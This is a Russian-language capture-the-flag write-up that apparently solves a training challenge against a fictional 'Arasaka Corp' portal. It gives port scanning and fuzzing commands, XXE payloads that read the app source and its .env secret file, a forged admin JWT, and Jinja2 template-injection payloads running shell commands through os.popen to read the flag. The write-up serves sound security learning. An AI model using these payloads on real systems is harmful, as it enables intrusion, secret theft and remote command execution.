Смотрим, какие сервисы запущены на хосте, сканим порты:
nmap -p- -sV 89.169.176.39Видим 2 интересных открытых порта:
- 80 (HTTP) — Публичный веб-интерфейс "Arasaka Corp — Финансовый портал".
- 1337 (HTTP) — Нестандартный порт. При попытке зайти на
http://89.169.176.39:1337/сервер возвращает ошибку:ERROR 403: Internal Admin API - Unauthorized Access.
Т.к. 1337 активен, но ничего не возвращает, вероятно, там есть скрытые эндпоинты. Фаззим директории:
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://89.169.176.39:1337/FUZZНаходим ручку /health.
Переходим в по найденному адресу: http://89.169.176.39:1337/health.
Сервер падает с внутренней ошибкой 500 и выводит Traceback. Изучив логи, находим путь к файлу админской апишки на сервере:
File "/app/admin_api.py", line 40...
Переходим на порт 80, отправляем следующий Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///app/admin_api.py">
]>
<data>
<name>&xxe;</name>
</data>Сервер возвращает нам исходный код admin_api.py. Изучаем, понимаем как работает:
- Админка находится по адресу
/super-secret-dev-panel. - Доступ проверяется через JWT-токен в куке
token. - В токене должно быть:
{"role": "admin"}. - Секретный ключ для подписи берется из системного окружения:
os.getenv("JWT_SECRET").
Зная, что ключ загружается через getenv снова бахаем XXE:
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///app/.env">
]>
<data>
<name>&xxe;</name>
</data>Сервер возвращает содержимое файла: JWT_SECRET=postavtezachetpozhaluysta123321.
Переходим на jwt.io, генерируем валидный токен, вставляем в куки.
Интерфейс предлагает протестировать шаблоны Jinja2. Проверяем форму на уязвимость SSTI, введя {{ 7 * 7 }} — сервер отвечает 49.
Поскольку в исходном коде мы видели, что какой-то дурак пробросил библиотеку os в рендер шаблона (request=request, os=os), мы имеем прямой выход к выполнению системных команд (RCE).
Имя файла с флагом рандомизировано (чтобы через XXE флаг сразу не вытащили). Поэтому сначала смотрим содержимое корня:
{{ os.popen('ls /').read() }}Находим файлик flag_TQwGe4yPHB.txt.
Зная точное имя файла, отправляем финальный пейлоад для его чтения:
{{ os.popen('cat /flag_TQwGe4yPHB.txt').read() }}БИНГО!!!! ФЛАГ У НАС!!! НЕВЕРОЯТНО СИЛЬНО РАДУЕМСЯ!!! ПОСТАВЬТЕ ЗАЧЁТ, ПОЖАЛУЙСТА!








